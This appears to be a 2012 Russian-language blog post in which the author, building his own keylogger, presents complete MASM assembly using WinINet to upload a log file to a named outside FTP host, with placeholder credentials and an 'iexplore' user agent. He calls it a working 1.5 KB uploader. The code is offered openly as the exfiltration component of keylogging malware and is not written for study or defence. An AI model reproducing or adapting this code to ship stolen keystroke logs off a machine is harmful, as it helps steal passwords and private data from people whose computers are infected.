Общее·количество·просмотров·страницы

суббота, 15 декабря 2012 г.

FTP upload на winapi

Взялся я тут за написание своего кейлоггера, логи решил отправлять на фтп, самый не плохой вариант по моему.С удивлением обнаружил что все что есть в интернете практически полностью реализовано на VCL, а так как я пишу логер на api то я не могу позволить себе использовать VCL, по этому я написал простую реализацию на ассемблере и библиотеке win inet которая поставляется в комплекте с вендой.


.386
.model flat,stdcall
option casemap:none

include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include INCLUDE\wininet.inc

includelib lib\user32.lib
includelib lib\kernel32.lib
includelib LIB\wininet.lib

.data
file db 'C:\tes.txt',0 ; файл для залива
ftpfn db 'tes.txt',0 ; залитый файл

host db 'splashed.ucoz.ru',0  ; адрес фтп
login db 'login',0
password db 'password',0

agent db 'iexplore',0
hinet dd 0
hc dd 0


.code

start:

invoke InternetOpen,addr agent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hinet,eax

invoke InternetConnect,hinet,addr host,INTERNET_DEFAULT_FTP_PORT,addr login,addr password,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0
mov hc,eax

invoke FtpPutFile,hc,addr file,addr ftpfn,FTP_TRANSFER_TYPE_BINARY,0

invoke InternetCloseHandle,hc
invoke InternetCloseHandle,hinet

invoke ExitProcess,0

end start

и мы не получаем вес как у коровы,а получаем 1.5 кб веса и работоспособный заливщик;)

1 комментарий: